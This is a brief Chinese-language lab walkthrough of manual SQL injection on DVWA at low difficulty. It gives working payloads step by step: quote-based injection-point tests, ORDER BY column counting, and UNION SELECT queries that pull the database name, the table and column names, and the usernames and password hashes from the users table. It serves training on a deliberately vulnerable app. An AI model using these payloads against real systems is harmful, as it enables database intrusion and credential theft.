DVWA-LOW级别
SQL手工注入
Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。
low级别
选择难度low
首先在表单中输入1
输入2
查看源代码可知这一关对于表单输入ID没有进行任何过滤
注入点判断,可知受到单引号闭合影响
方便把SQL语句中后续语句全部注释掉不执行,不用考虑单引号闭合影响
语句1’ or 1=1#可以查出所有ID内容
然后判断字段(就是正常查询时可以显示用户的几条信息)
1’and 1=1 order by 1#
1’and 1=1 order by 2#
1’and 1=1 order by 3#
如果2是正确的的,3返回错误那么就有2个字段,2即为分界点
找出字段之后(找字段的作用是为了后续报错,看会有几个位置可以报错)
结合union联合查询
1’ union select 1,2#或者 -1’ union select 1,2#
二者没什么区别,第二种看起来更简洁
把查询语句中2的位置换成你要查询到内容,那么在返回结果上就在你替换掉的数字的位置上即可显示该信息。
首先是数据库名,表名,列名,之后是具体信息
数据库名
1’ union select 1,database()#
笔记:
1、在MYSQL5.0以上版本中存在自带数据库information_schema,他是一个存储所有数据库名,表明,列名的数据库,相当于可以通过查询此库获得相应信息。
2、符号“.”代表下一级
表名 table_name也可以用group_concat替换
1' union select 1,table_name from information_schema. tables where table_schema='dvwa' #
列名
1' union select 1 , column_name from information_schema.columns where table_name = 'users'#
用户名和密码
1' union select user,password from users#